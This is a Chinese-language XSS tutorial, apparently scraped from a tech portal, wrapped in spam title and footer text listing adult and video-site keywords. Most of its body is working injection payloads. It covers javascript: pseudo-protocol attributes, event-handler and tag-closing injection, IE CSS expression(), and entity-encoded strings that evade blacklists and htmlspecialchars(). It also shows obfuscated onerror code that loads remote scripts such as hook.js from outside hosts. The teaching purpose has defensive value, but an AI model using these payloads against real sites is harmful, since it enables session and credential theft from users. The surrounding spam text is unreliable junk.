成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

前端安全:know it then hack it

安全 黑客攻防 應(yīng)用安全
屬性值引入javascript:[code]偽協(xié)議,來執(zhí)行javascript代碼。也就是$a=javascript:alert(1),只有引用文件的屬性才能觸發(fā)javascript腳本。

一、html可以執(zhí)行javascript的地方有哪些?

先舉個例子比如這個代碼

1<a href="$a">f4ck</a>

變量$a可控,怎么讓這個代碼彈框(執(zhí)行javascript代碼)呢?

(1)屬性值引入javascript:[code]偽協(xié)議,來執(zhí)行javascript代碼。也就是$a=javascript:alert(1)

只有引用文件的屬性才能觸發(fā)javascript腳本,這些標(biāo)簽有:

href

action

bgsound

background

value

dynsrc

lowsrc。

1<formaction="javascript:alert(1)">

2<input type="text"name="name"value="">

3<input type="submit"value="提交">

4</form>

5<img src="javascript:alert('1');"/>

由于這些屬性值不是通用屬性,所以會在不同的標(biāo)簽中,如果在火狐上測試不成功請在ie下測試,我用ie6測試是成功的。

(2)"閉合前一個屬性值,引入事件驅(qū)動屬性。事件驅(qū)動屬性的值是javascript代碼,所以可以執(zhí)行javascript。事件驅(qū)動屬性是標(biāo)簽的通用屬性,所以所有標(biāo)簽都可以用。也就是

1$a="onclick=alert(1)

2這樣的事件驅(qū)動屬性標(biāo)簽還有:

ondblclick

onmousedown

onmouseup

onmouseover

onmousemove

onmouseout

onmousepress

onmousedown

onmouseup

1<a href=""onclick=alert(1)>f4ck</a>

(3)閉合標(biāo)簽,引入<script></scirpt>標(biāo)簽來執(zhí)行javascript代碼。也就是:

1$a="><script>alert(1)</script>

(4)CSS可以通過expression屬性執(zhí)行javascript代碼

expression是ie獨(dú)有的css屬性,其目的是為了插入一段javascript代碼。

1<pstyle="xss:expression(alert(1))">

在ie6下執(zhí)行成功。

1@import"http://www.91ri.org/xss.css";

可以從外部導(dǎo)入存在xss代碼的css樣式。

如果css屬性可控,除了可以在expression后面添加javascript代碼執(zhí)行外,還可以像(2)(3)一樣通過閉合標(biāo)簽和屬性值來達(dá)到執(zhí)行javascript的目的。

烏云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss

綜上,可以在html里執(zhí)行javascript的地方有

1、利用javascript:在屬性值里2、事件驅(qū)動屬性3、<script></script>標(biāo)簽中(包括這種形式<scriptsrc="http://www.91ri.org/1.js"></script>)4、CSS中的expression屬性中(僅IE)。

二、為什么編碼后的代碼仍然可以執(zhí)行?

(1)上面的$a是沒被過濾的,但假如被過濾了怎么辦,假如只是黑名單過濾了javascript,或者只是對$a進(jìn)行了htmlspecialchars()轉(zhuǎn)換。執(zhí)行javascript的地方只進(jìn)行了html編碼。

<a href="$a">f4ck</a>

$a的值

1&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

$a的值

1j&#97;v&#97;s&#99;ript&#58;&#97;lert&#40;&#49;&#41;

$a的值:

1javascript:alert(1)

以上為html的三種編碼。提交后,可以繞過黑名單javascript,進(jìn)行htmlspecialchars()編碼是不會發(fā)生任何變化的,那么,這段代碼為什么會執(zhí)行?

因?yàn)檫@個代碼,瀏覽器從頭解析當(dāng)解析到,$a的值時,正常將它解碼,就變成javascript:alert(1),然后這個代碼在href屬性中,所以就執(zhí)行了。

三、怎么遠(yuǎn)程加載外部js?

先來說說html標(biāo)記,html標(biāo)記其實(shí)可以分為兩種

1、文本用閉合標(biāo)簽。

例:<h1>f4ck</h1>

2、引用內(nèi)容用自閉合標(biāo)簽。

例:<img src="http://www.91ri.org/img/bdlogo.gif"/>

瀏覽器會在html頁面加載時,額外向服務(wù)器發(fā)送請求,注:這里是html標(biāo)簽的特性,不要和同源策略相混淆,同源策略是用來限制瀏覽器的。

加載進(jìn)來的js和本域是同源的。

哪些標(biāo)簽可以遠(yuǎn)程加載外部js,并執(zhí)行呢?

1、

1<scriptsrc="www.91ri.org/1.js"></script>

2、

1<iframesrc="www.91ri.org/1.js"></iframe>

3、

1<iframesrc=javascript:with(document)0[body.appendChild(document.createElement('script')).src="http://url.cn/1.js"]></iframe>

其實(shí)3就是dom的方法創(chuàng)建和插入節(jié)點(diǎn)。

1vars=document.createElement("script");

2s.src="http://www.91ri.org/xss.js";

3document.getElementsByTagName("head")[0].appendChild(s);

直接用3用于

viewsource

1<img src='#'onerror=“vara=document.getElementsByTagName('head').item(0);

2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116));

3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);

4b.src=‘hook.js';

5a.appendChild(b);">

責(zé)任編輯:吳瑋 來源: 91ri.org
相關(guān)推薦

2015-06-12 11:26:02

CSS瀏覽器 CSS Hac

2020-11-05 10:20:54

前端編碼規(guī)范安全漏洞

2021-12-17 10:14:42

黑客網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2016-08-29 17:28:53

JavascriptHtmlThis

2017-05-16 14:25:28

2022-04-26 05:19:38

安全漏洞漏洞黑客

2014-11-03 10:14:22

2009-12-04 10:19:11

PHP hack

2014-04-09 10:08:06

FacebookHack

2012-04-26 19:27:18

2016-01-06 15:00:49

2010-09-01 10:17:38

CSShack注釋

2010-09-07 13:04:14

CSS Hack

2010-09-16 14:09:03

CSS hackGoogleChrom

2022-05-24 06:07:48

JShack用戶代碼

2010-09-16 11:31:17

CSS Hack

2017-11-06 07:01:04

2017-11-06 05:59:45

2015-09-01 15:45:50

開源字體Hack

2010-09-15 15:59:11

CSS hack
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 国精日本亚洲欧州国产中文久久 | 成人精品国产免费网站 | 国产精品国产a | 国产精品jizz在线观看老狼 | 午夜看片网站 | 欧美精品综合在线 | 国产成人福利在线观看 | 午夜影院在线免费观看视频 | 水蜜桃亚洲一二三四在线 | 天天干天天玩天天操 | 精品中文字幕在线观看 | 欧美午夜视频 | 神马久久av | 男女啪啪网址 | 国精日本亚洲欧州国产中文久久 | 91大神在线资源观看无广告 | 国产一级片 | 亚洲国产精品suv | 精品产国自在拍 | 欧美日韩国产免费 | 视频一二三区 | www.国产一区 | 亚洲欧美国产精品久久 | 欧洲在线视频 | 狠狠入ady亚洲精品经典电影 | 午夜影视免费片在线观看 | 国产精品18久久久 | 福利视频网 | 欧美男人天堂 | 久久久999国产精品 中文字幕在线精品 | 国产一区视频在线 | 欧美日本一区 | 羞羞羞视频 | 欧美日韩专区 | 天天操操操操操 | 亚洲激情一级片 | 午夜视频免费在线观看 | 亚洲精品亚洲人成人网 | 国产资源在线播放 | 精品乱码一区二区三四区视频 | 有码在线|